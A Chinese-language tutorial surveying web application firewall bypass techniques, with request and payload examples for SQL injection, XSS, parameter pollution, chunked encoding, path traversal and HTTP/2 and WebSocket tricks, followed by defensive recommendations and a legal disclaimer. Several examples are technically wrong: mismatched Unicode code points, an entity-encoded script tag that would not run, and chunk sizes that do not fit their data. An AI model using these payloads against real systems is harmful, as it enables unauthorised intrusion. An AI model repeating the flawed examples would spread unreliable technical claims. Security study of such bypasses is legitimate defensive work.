WAF绕过的10种技术：技术细节与代码详解

引言

Web应用防火墙（WAF）作为保护Web应用安全的核心组件，通过规则匹配和异常检测防御SQL注入、XSS等攻击。然而，攻击者不断开发出绕过WAF的技术手段。本文将系统解析10种典型的WAF绕过技术，结合技术原理与代码示例，为安全研究人员提供技术参考。

一、编码混淆技术

1.1 Unicode编码混淆

WAF规则通常基于ASCII字符集设计，攻击者可通过Unicode编码转换绕过检测。例如：

-- 原始SQL注入
SELECT * FROM users WHERE id=1 OR 1=1
-- Unicode编码后（U+006F为'o'，U+0072为'r'）
SELECT * FROM users WHERE id=1 \u004f\u0052 1=1

原理：WAF规则引擎可能未解析Unicode转义序列，导致规则匹配失效。

1.2 HTML实体编码

XSS攻击中，通过HTML实体编码混淆payload：

<!-- 原始XSS -->
<script>alert(1)</script>
<!-- 实体编码后 -->
&lt;script&gt;alert(1)&lt;/script&gt;

防御建议：WAF需实现多层次解码处理，包括HTML实体、URL编码、十六进制编码等。

二、参数污染技术

2.1 多参数同名覆盖

通过重复参数名混淆WAF解析：

GET /search?q=test&q[]=1' OR '1'='1 HTTP/1.1

部分WAF仅处理第一个参数，而应用服务器可能合并数组参数，导致注入成功。

2.2 分隔符混淆

在参数值中插入无效分隔符：

GET /login?user=admin'/**/OR/**/1=1--&pass=test

效果：注释符号/**/可破坏WAF的正则表达式匹配，同时保持SQL语句有效性。

三、分块传输技术

3.1 Transfer-Encoding分块

利用HTTP分块传输编码绕过长度限制：

POST /api HTTP/1.1
Transfer-Encoding: chunked
4; payload
sql=1' OR '1'='1
0

原理：WAF可能未完整重组分块数据，导致攻击payload被截断处理。

3.2 请求行分割

将攻击载荷分散在多个HTTP头中：

GET / HTTP/1.1\r\n
X-Header: 1' OR '1'='1\r\n
Host: example.com

适用场景：针对基于请求行的WAF规则进行绕过。

四、协议层绕过

4.1 超大Content-Length

通过设置超大Content-Length使WAF放弃处理：

POST /upload HTTP/1.1
Content-Length: 999999999
[实际发送极小数据]

风险：可能导致WAF资源耗尽，同时后端服务器可能提前处理不完整请求。

4.2 协议混淆

混合HTTP/1.1与HTTP/2特性：

GET / HTTP/2
:authority: example.com
:path: /?id=1' OR '1'='1

挑战：部分WAF对HTTP/2支持不完善，可能漏检异常请求。

五、逻辑绕过技术

5.1 白名单绕过

利用WAF对特定路径的白名单机制：

GET /static/../admin?action=delete HTTP/1.1

防御要点：需规范路径解析，防止目录遍历攻击。

5.2 备选参数语法

使用数据库特有的备选语法：

-- MySQL备选注释
SELECT/*!*/* FROM users
-- SQL Server备选空格
SELECT%20*%20FROM%20users

效果：WAF可能未覆盖所有数据库方言的语法变体。

六、高级绕过组合技

6.1 混合编码+分块传输

POST /api HTTP/1.1
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded
6;
id=1%27%20OR%201%3D1
0

技术要点：结合URL编码与分块传输，增加WAF解析复杂度。

6.2 WebSocket协议绕过

通过WebSocket直接发送恶意payload：

// 客户端代码
const ws = new WebSocket('ws://example.com/ws');
ws.onopen = () => {
  ws.send('{"action":"eval","code":"alert(1)"}');
};

防御建议：WAF需支持WebSocket协议解析，实施内容检查。

七、防御体系构建建议

1. 多层次检测：结合签名检测、行为分析、机器学习模型
2. 规则动态更新：建立威胁情报实时同步机制
3. 性能优化：采用流式处理技术应对分块传输攻击
4. 协议深度解析：完整支持HTTP/1.1、HTTP/2、WebSocket等协议
5. 解码器链：实现多层编码的递归解码处理

八、法律与伦理声明

本文技术解析仅供安全研究使用，未经授权的攻击行为可能违反《网络安全法》等相关法律法规。建议企业在合法合规框架下开展渗透测试，并建立完善的安全防护体系。

结语

WAF绕过与防御的对抗将持续升级，安全人员需保持技术敏锐度，通过红蓝对抗演练持续优化防护策略。建议结合RASP（运行时应用自我保护）技术构建纵深防御体系，有效应对不断演变的安全威胁。